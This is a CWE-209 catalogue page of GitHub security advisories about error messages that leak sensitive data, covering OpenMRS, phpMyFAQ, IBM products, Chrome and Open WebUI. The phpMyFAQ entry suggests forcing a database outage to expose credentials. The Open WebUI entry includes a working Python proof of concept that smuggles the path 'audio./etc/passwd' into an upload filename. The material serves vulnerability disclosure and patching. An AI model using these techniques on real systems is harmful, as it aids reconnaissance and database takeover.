Common Weakness Enumeration

CWE-209

Allowed

Generation of Error Message Containing Sensitive Information

Abstraction: Base · Status: Draft

The product generates an error message that includes sensitive information about its environment, users, or associated data.

950 vulnerabilities reference this CWE, most recent first.

GHSA-VPXM-CR3R-PJP9

Vulnerability from github – Published: 2025-01-30 17:50 – Updated: 2025-01-30 17:50
VLAI
Summary
General OpenMRS Security Advisory, January 2025: Penetration Testing Results and Patches
Details

Impact

We recently underwent Penetration Testing of OpenMRS by a third-party company. Vulnerabilities were found, and fixes have been made and released. We've released security updates that include critical fixes, and so, we strongly recommend upgrading affected modules.

This notice applies to all OpenMRS instances. The testers used the OpenMRS v3 Reference Application (O3 RefApp); however, their findings highlighted modules commonly used in older OpenMRS applications, including the O2 RefApp.

Vulnerability Details

  • The issues uncovered included broken access control (e.g. inappropriate admin access), phishing vulnerability, and stored XSS (e.g. vulnerable passwords).
  • No vulnerabilities were found in the O3 frontend esm modules.
  • The Letter of Attestation from the penetration test is available here for your reference.
  • After the fixes were applied, the OpenMRS O3 RefApp met a Security Level of “Excellent, Grade A”.
  • The full detailed Remediation Pentest Report is available to Implementation Technical Leads upon request.

Patches

Minimum Requirements for Implementers: We strongly recommend upgrading your modules to the following versions (or greater) as soon as possible. This is the minimum amount to do and be protected from the vulnerabilities found and fixed. The following versions contain the patch:

  • Platform 2.6.11+
  • How: Increase your platform version number wherever this is specified in your implementation. If you use the OpenMRS SDK, this will be in the distro.properties file.
  • Notes:
    • The newly released Platform 2.7 also includes the fixes. Release Notes and more download options here.
    • Platform 2.6.8+ has most of the fixes, but these are broken if you don't use SSL, so Platform 2.6.11 or higher is preferred.
    • For those still on Platform 2.5+ such as the Bahmni ecosystem, the new 2.5.14 release includes the patch. Bahmni note: The upcoming patch release for both Bahmni Lite and Bahmni Standard will incorporate these security fixes.
  • Legacy UI OMOD 1.21.0+ (here)
  • ID Gen OMOD 4.14.0+ (here)
  • Address Hierarchy OMOD 2.19.0+ (here)
  • Attachments OMOD 3.6.0+ (here)
  • Patient Flags OMOD 3.0.8+ (here)

Workarounds

There are no practical workarounds to fix or remediate the vulnerabilities without upgrading. Technically, you could remove the affected OMODs, but this would badly degrade the system's functionality.

Thank you to our amazing Security contributors!

Thank you to security firm UnderDefense, and to the OpenMRS Security Group contributors for their patch support - specific thanks to Daniel Kayiwa, Samuel Lubwama, Ian Bacher, Rafal Korytkowski, and Michael Seaton.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs:openmrs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:legacyui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:idgen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:addresshierarchy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:attachments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:patientflags"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-284",
      "CWE-601",
      "CWE-614"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-30T17:50:52Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\nWe recently underwent Penetration Testing of OpenMRS by a third-party company. **Vulnerabilities were found, and fixes have been made and released.** We\u0027ve released security updates that include critical fixes, and so, we strongly recommend upgrading affected modules.\n\n**This notice applies to _all_ OpenMRS instances.** The testers used the OpenMRS v3 Reference Application (O3 RefApp); however, their findings highlighted modules commonly used in older OpenMRS applications, including the O2 RefApp. \n\n## Vulnerability Details\n- The issues uncovered included broken access control (e.g. inappropriate admin access), phishing vulnerability, and stored XSS (e.g. vulnerable passwords).\n- No vulnerabilities were found in the O3 frontend esm modules. \n- The Letter of Attestation from the penetration test is [available here](https://drive.google.com/file/d/1sBm4-FzLA8hSoM9wYknBfgEttBHyLvoU/view?usp=sharing) for your reference. \n- After the fixes were applied, the OpenMRS O3 RefApp met a Security Level of \u201cExcellent, Grade A\u201d.\n- The full detailed Remediation Pentest Report is available to Implementation Technical Leads upon request.\n\n### Patches\n**Minimum Requirements for Implementers:** We **strongly** recommend upgrading your modules to the following versions (or greater) as soon as possible. **This is the minimum amount to do and be protected from the vulnerabilities found and fixed.** The following versions contain the patch: \n\n- **Platform** 2.6.11+ \n  - How: Increase your platform version number wherever this is specified in your implementation. If you use the OpenMRS SDK, this will be in the distro.properties file.\n  - Notes: \n    - The newly released [**Platform 2.7**](https://sourceforge.net/projects/openmrs/files/releases/OpenMRS_Platform_2.7.0/) also includes the fixes. [Release Notes and more download options here](https://openmrs.atlassian.net/wiki/x/XoBzEQ).\n    - Platform 2.6.8+ has most of the fixes, but these are broken if you don\u0027t use SSL, so Platform 2.6.11 or higher is preferred.\n    - For those still on Platform 2.5+ such as the Bahmni ecosystem, the new [2.5.14](https://ci.openmrs.org/browse/TRUNK-CORE2-232) release includes the patch. _Bahmni note: The upcoming patch release for both Bahmni Lite and Bahmni Standard will incorporate these security fixes._\n- **Legacy UI** OMOD 1.21.0+ ([here](https://addons.openmrs.org/show/org.openmrs.module.legacyui))\n- **ID Gen** OMOD 4.14.0+ ([here](https://addons.openmrs.org/show/org.openmrs.module.idgen))\n- **Address Hierarchy** OMOD 2.19.0+ ([here](https://addons.openmrs.org/show/org.openmrs.module.addresshierarchy))\n- **Attachments** OMOD 3.6.0+ ([here](https://addons.openmrs.org/show/org.openmrs.module.attachments))\n- **Patient Flags** OMOD 3.0.8+ ([here](https://addons.openmrs.org/show/org.openmrs.module.patientflags))\n\n### Workarounds\nThere are no practical workarounds to fix or remediate the vulnerabilities without upgrading. Technically, you could remove the affected OMODs, but this would badly degrade the system\u0027s functionality.\n\n## Thank you to our amazing Security contributors!\nThank you to security firm UnderDefense, and to the OpenMRS Security Group contributors for their patch support - specific thanks to Daniel Kayiwa, Samuel Lubwama, Ian Bacher, Rafal Korytkowski, and Michael Seaton. \n",
  "id": "GHSA-vpxm-cr3r-pjp9",
  "modified": "2025-01-30T17:50:52Z",
  "published": "2025-01-30T17:50:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openmrs/openmrs-core/security/advisories/GHSA-vpxm-cr3r-pjp9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openmrs/openmrs-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "General OpenMRS Security Advisory, January 2025: Penetration Testing Results and Patches"
}

GHSA-VQ87-96QV-FGRG

Vulnerability from github – Published: 2023-08-28 15:30 – Updated: 2024-04-04 07:14
VLAI
Details

User enumeration is found in PHP Jabbers Hotel Booking System v4.0. This issue occurs during password recovery, where a difference in messages could allow an attacker to determine if the user is valid or not, enabling a brute force attack with valid users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-40760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-28T13:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "User enumeration is found in PHP Jabbers Hotel Booking System v4.0. This issue occurs during password recovery, where a difference in messages could allow an attacker to determine if the user is valid or not, enabling a brute force attack with valid users.",
  "id": "GHSA-vq87-96qv-fgrg",
  "modified": "2024-04-04T07:14:27Z",
  "published": "2023-08-28T15:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40760"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40mfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@mfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f"
    },
    {
      "type": "WEB",
      "url": "https://www.phpjabbers.com/hotel-booking-system"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQRH-582C-2W2R

Vulnerability from github – Published: 2025-01-25 15:30 – Updated: 2025-08-13 18:31
VLAI
Details

IBM Cloud Pak System 2.3.3.0, 2.3.3.3, 2.3.3.3 iFix1, 2.3.3.4, 2.3.3.5, 2.3.3.6, 2.3.3.6 iFix1, 2.3.3.6 iFix2, 2.3.3.7, and 2.3.3.7 iFix1 could disclose sensitive information about the system that could aid in further attacks against the system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-38713"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-25T14:15:28Z",
    "severity": "MODERATE"
  },
  "details": "IBM Cloud Pak System 2.3.3.0, 2.3.3.3, 2.3.3.3 iFix1, 2.3.3.4, 2.3.3.5, 2.3.3.6, 2.3.3.6 iFix1, 2.3.3.6 iFix2, 2.3.3.7, and 2.3.3.7 iFix1\u00a0could disclose sensitive information about the system that could aid in further attacks against the system.",
  "id": "GHSA-vqrh-582c-2w2r",
  "modified": "2025-08-13T18:31:11Z",
  "published": "2025-01-25T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38713"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7159533"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRJR-P3XP-XX2X

Vulnerability from github – Published: 2024-12-06 18:22 – Updated: 2024-12-06 18:22
VLAI
Summary
phpMyFAQ Generates an Error Message Containing Sensitive Information if database server is not available
Details

Summary

Exposure of database (ie postgreSQL) server's credential when connection to DB fails.

Details

Exposed database credentials upon misconfig/DoS @ permalink: https://github.com/thorsten/phpMyFAQ/blob/main/phpmyfaq/src/phpMyFAQ/Setup/Installer.php#L694

PoC

When postgreSQL server is unreachable, an error would be thrown exposing the credentials of the database. For instance, when "http://:8080/setup/index.php" is hit when the database instance/server is down, then credentials are exposed, for instance:

( ! ) Warning: pg_connect(): Unable to connect to PostgreSQL server: connection to server at "127.0.0.1", port 5432 failed: Connection refused Is the server running on that host and accepting TCP/IP connections? in /var/www/html/src/phpMyFAQ/Database/Pgsql.php on line 78
Call Stack
# Time Memory Function Location
1 0.0404 453880 {main}( ) .../index.php:0
2 1.1341 610016 phpMyFAQ\Setup\Installer->startInstall( $setup = ??? ) .../index.php:471
3 1.2113 611544 phpMyFAQ\Database\Pgsql->connect( $host = '127.0.0.1', $user = 'cvecve', $password = '<redacted>', $database = 'cvecve', $port = 5432 ) .../Installer.php:694
4 1.2113 611864 pg_connect( $connection_string = 'host=127.0.0.1 port=5432 dbname=cvecve user=cvecve password=<redacted>' ) .../Pgsql.php:78

( ! ) Fatal error: Uncaught TypeError: Cannot assign false to property phpMyFAQ\Database\Pgsql::$conn of type ?PgSql\Connection in /var/www/html/src/phpMyFAQ/Database/Pgsql.php on line 78
( ! ) TypeError: Cannot assign false to property phpMyFAQ\Database\Pgsql::$conn of type ?PgSql\Connection in /var/www/html/src/phpMyFAQ/Database/Pgsql.php on line 78
Call Stack
# Time Memory Function Location
1 0.0404 453880 {main}( ) .../index.php:0
2 1.1341 610016 phpMyFAQ\Setup\Installer->startInstall( $setup = ??? ) .../index.php:471
3 1.2113 611544 phpMyFAQ\Database\Pgsql->connect( $host = '127.0.0.1', $user = 'cvecve', $password = '<redacted>', $database = 'cvecve', $port = 5432 ) .../Installer.php:694

image

A way to force this would be to perform a denial of service on the database instance/server. When the db connection is refused, the credentials would show. The remote attacker can then use that to gain full control on the database.

Impact

This vulnerability exposes the credentials of the database and grants a remote attacker full control over the database.

First notified Snyk on 16 Jan 2024.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-54141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-06T18:22:52Z",
    "nvd_published_at": "2024-12-06T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nExposure of database (ie postgreSQL) server\u0027s credential when connection to DB fails.\n\n### Details\nExposed database credentials upon misconfig/DoS @ permalink: https://github.com/thorsten/phpMyFAQ/blob/main/phpmyfaq/src/phpMyFAQ/Setup/Installer.php#L694\n\n### PoC\nWhen postgreSQL server is unreachable, an error would be thrown exposing the credentials of the database. For instance, when \"http://\u003cphpmyfaq-instance\u003e:8080/setup/index.php\" is hit when the database instance/server is down, then credentials are exposed, for instance:\n\n```\n( ! ) Warning: pg_connect(): Unable to connect to PostgreSQL server: connection to server at \u0026quot;127.0.0.1\u0026quot;, port 5432 failed: Connection refused Is the server running on that host and accepting TCP/IP connections? in /var/www/html/src/phpMyFAQ/Database/Pgsql.php on line 78\nCall Stack\n# Time Memory Function Location\n1 0.0404 453880 {main}( ) .../index.php:0\n2 1.1341 610016 phpMyFAQ\\Setup\\Installer-\u003estartInstall( $setup = ??? ) .../index.php:471\n3 1.2113 611544 phpMyFAQ\\Database\\Pgsql-\u003econnect( $host = \u0027127.0.0.1\u0027, $user = \u0027cvecve\u0027, $password = \u0027\u003credacted\u003e\u0027, $database = \u0027cvecve\u0027, $port = 5432 ) .../Installer.php:694\n4 1.2113 611864 pg_connect( $connection_string = \u0027host=127.0.0.1 port=5432 dbname=cvecve user=cvecve password=\u003credacted\u003e\u0027 ) .../Pgsql.php:78\n\n( ! ) Fatal error: Uncaught TypeError: Cannot assign false to property phpMyFAQ\\Database\\Pgsql::$conn of type ?PgSql\\Connection in /var/www/html/src/phpMyFAQ/Database/Pgsql.php on line 78\n( ! ) TypeError: Cannot assign false to property phpMyFAQ\\Database\\Pgsql::$conn of type ?PgSql\\Connection in /var/www/html/src/phpMyFAQ/Database/Pgsql.php on line 78\nCall Stack\n# Time Memory Function Location\n1 0.0404 453880 {main}( ) .../index.php:0\n2 1.1341 610016 phpMyFAQ\\Setup\\Installer-\u003estartInstall( $setup = ??? ) .../index.php:471\n3 1.2113 611544 phpMyFAQ\\Database\\Pgsql-\u003econnect( $host = \u0027127.0.0.1\u0027, $user = \u0027cvecve\u0027, $password = \u0027\u003credacted\u003e\u0027, $database = \u0027cvecve\u0027, $port = 5432 ) .../Installer.php:694\n```\n![image](https://github.com/user-attachments/assets/feb9c0ba-0cf7-44d1-bd86-87cc36292b70)\n\nA way to force this would be to perform a denial of service on the database instance/server. When the db connection is refused, the credentials would show. The remote attacker can then use that to gain full control on the database.\n\n### Impact\nThis vulnerability exposes the credentials of the database and grants a remote attacker full control over the database.\n\nFirst notified Snyk on 16 Jan 2024.\n",
  "id": "GHSA-vrjr-p3xp-xx2x",
  "modified": "2024-12-06T18:22:52Z",
  "published": "2024-12-06T18:22:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-vrjr-p3xp-xx2x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/b9289a0b2233df864361c131cd177b6715fbb0fe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "phpMyFAQ Generates an Error Message Containing Sensitive Information if database server is not available"
}

GHSA-VV2X-8P3M-39X2

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06
VLAI
Details

IBM Guardium Data Encryption (GDE) 4.0.0.4 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 196212.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-20413"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-28T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Guardium Data Encryption (GDE) 4.0.0.4 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 196212.",
  "id": "GHSA-vv2x-8p3m-39x2",
  "modified": "2022-05-24T19:06:23Z",
  "published": "2022-05-24T19:06:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20413"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/196212"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6444037"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VV73-J722-JWWP

Vulnerability from github – Published: 2025-08-11 15:32 – Updated: 2025-08-11 15:32
VLAI
Details

A vulnerability was identified in WuKongOpenSource WukongCRM 11.0. This affects an unknown part of the file /adminFile/upload of the component API Response Handler. The manipulation leads to information exposure through error message. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-8852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-11T14:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in WuKongOpenSource WukongCRM 11.0. This affects an unknown part of the file /adminFile/upload of the component API Response Handler. The manipulation leads to information exposure through error message. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-vv73-j722-jwwp",
  "modified": "2025-08-11T15:32:42Z",
  "published": "2025-08-11T15:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8852"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WuKongOpenSource/WukongCRM-11.0-JAVA/issues/26"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WuKongOpenSource/WukongCRM-11.0-JAVA/issues/26#issue-3272864284"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.319383"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.319383"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.624693"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VV9M-MJHJ-9CQC

Vulnerability from github – Published: 2022-05-24 17:14 – Updated: 2022-05-24 17:14
VLAI
Details

Insufficient policy enforcement in extensions in Google Chrome prior to 81.0.4044.92 allowed an attacker who convinced a user to install a malicious extension to obtain potentially sensitive information from process memory via a crafted Chrome Extension.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-6438"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-13T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in extensions in Google Chrome prior to 81.0.4044.92 allowed an attacker who convinced a user to install a malicious extension to obtain potentially sensitive information from process memory via a crafted Chrome Extension.",
  "id": "GHSA-vv9m-mjhj-9cqc",
  "modified": "2022-05-24T17:14:06Z",
  "published": "2022-05-24T17:14:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6438"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2020/04/stable-channel-update-for-desktop_7.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/714617"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6XWIVVYIQU67QR2LHNGGZBS4FZOW2RQO"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HFVP775RPRDVY5FUCN7ABH5AE74TQFDD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XMXPDHEEACPD3BCMTC26SCCYB2ZMUOAO"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4714"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00031.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVXM-VXMR-624H

Vulnerability from github – Published: 2026-03-27 15:29 – Updated: 2026-03-27 15:29
VLAI
Summary
Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`
Details

Summary

An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a FileNotFoundError whose message — including the server's absolute DATA_DIR path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.

Details

backend/open_webui/routers/audio.py:1197 extracts a file extension from the raw multipart filename using file.filename.split(".")[-1] with no path sanitisation. The result is concatenated into a filesystem path and passed to open():

ext       = file.filename.split(".")[-1]       # attacker-controlled, no sanitisation
filename  = f"{id}.{ext}"                      # may contain "/"
file_path = f"{file_dir}/{filename}"
with open(file_path, "wb") as f:
    f.write(contents)

If the filename is audio./etc/passwd, split(".")[-1] yields /etc/passwd and the assembled path becomes:

{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd

open() fails with FileNotFoundError. The outer except block at line 1231 returns the exception via ERROR_MESSAGES.DEFAULT(e), leaking the full absolute path in the response body.

The MIME-type guard at line 1190 checks Content-Type (a separate multipart field) and does not constrain filename. Setting Content-Type: audio/wav satisfies the guard regardless of the filename value.

This handler is the only file upload path in the codebase that omits os.path.basename(). Both sibling handlers apply it explicitly:

# files.py:244
filename = os.path.basename(file.filename)

# pipelines.py:206
filename = os.path.basename(file.filename)

Recommended fix — match the existing pattern and suppress path leakage in errors:

# audio.py:1197 — sanitise extension
from pathlib import Path
safe_name = Path(file.filename).name
ext = Path(safe_name).suffix.lstrip(".") or "bin"

# audio.py:1231 — suppress internal path in error response
except Exception as e:
    log.exception(e)
    raise HTTPException(status_code=400, detail="Transcription failed.")

PoC

Requirements: a running Open WebUI instance and one standard (non-admin) user account.

docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest
# wait ~30 s, register a standard user at http://localhost:3000
pip install requests
import requests, sys

BASE_URL = "http://localhost:3000"
EMAIL    = "user@example.com"
PASSWORD = "changeme"

token = requests.post(f"{BASE_URL}/api/v1/auths/signin",
                      json={"email": EMAIL, "password": PASSWORD},
                      timeout=10).json()["token"]

boundary = "----Boundary"
wav_stub = b"RIFF\x00\x00\x00\x00WAVE"
body = (
    f'--{boundary}\r\nContent-Disposition: form-data; name="file"; '
    f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n'
).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode()

resp = requests.post(
    f"{BASE_URL}/api/v1/audio/transcriptions",
    data=body,
    headers={"Authorization": f"Bearer {token}",
             "Content-Type": f"multipart/form-data; boundary={boundary}"},
    timeout=15,
)
print(resp.status_code, resp.text)

Observed output (live test, commit b8112d72b):

400 {"detail":"[ERROR: [Errno 2] No such file or directory:
'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}

The absolute DATA_DIR path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.

Note on the write primitive: the traversal path includes a fresh UUID segment ({uuid}.) that never pre-exists as a directory, so open() is OS-blocked in all practical scenarios. The impact is information disclosure only.


Impact

Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute DATA_DIR filesystem path. The route is gated by get_verified_user — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.

AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit b8112d72b. All code references were verified by the reporter, who accepts full responsibility for accuracy.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T15:29:32Z",
    "nvd_published_at": "2026-03-27T00:16:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message \u2014 including the server\u0027s absolute `DATA_DIR` path \u2014 is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.\n\n### Details\n\n`backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(\".\")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`:\n\n```python\next       = file.filename.split(\".\")[-1]       # attacker-controlled, no sanitisation\nfilename  = f\"{id}.{ext}\"                      # may contain \"/\"\nfile_path = f\"{file_dir}/{filename}\"\nwith open(file_path, \"wb\") as f:\n    f.write(contents)\n```\n\nIf the filename is `audio./etc/passwd`, `split(\".\")[-1]` yields `/etc/passwd` and the assembled path becomes:\n\n```\n{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd\n```\n\n`open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body.\n\nThe MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value.\n\nThis handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly:\n\n```python\n# files.py:244\nfilename = os.path.basename(file.filename)\n\n# pipelines.py:206\nfilename = os.path.basename(file.filename)\n```\n\n**Recommended fix** \u2014 match the existing pattern and suppress path leakage in errors:\n\n```python\n# audio.py:1197 \u2014 sanitise extension\nfrom pathlib import Path\nsafe_name = Path(file.filename).name\next = Path(safe_name).suffix.lstrip(\".\") or \"bin\"\n\n# audio.py:1231 \u2014 suppress internal path in error response\nexcept Exception as e:\n    log.exception(e)\n    raise HTTPException(status_code=400, detail=\"Transcription failed.\")\n```\n\n---\n\n### PoC\n\n**Requirements:** a running Open WebUI instance and one standard (non-admin) user account.\n\n```bash\ndocker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest\n# wait ~30 s, register a standard user at http://localhost:3000\npip install requests\n```\n\n```python\nimport requests, sys\n\nBASE_URL = \"http://localhost:3000\"\nEMAIL    = \"user@example.com\"\nPASSWORD = \"changeme\"\n\ntoken = requests.post(f\"{BASE_URL}/api/v1/auths/signin\",\n                      json={\"email\": EMAIL, \"password\": PASSWORD},\n                      timeout=10).json()[\"token\"]\n\nboundary = \"----Boundary\"\nwav_stub = b\"RIFF\\x00\\x00\\x00\\x00WAVE\"\nbody = (\n    f\u0027--{boundary}\\r\\nContent-Disposition: form-data; name=\"file\"; \u0027\n    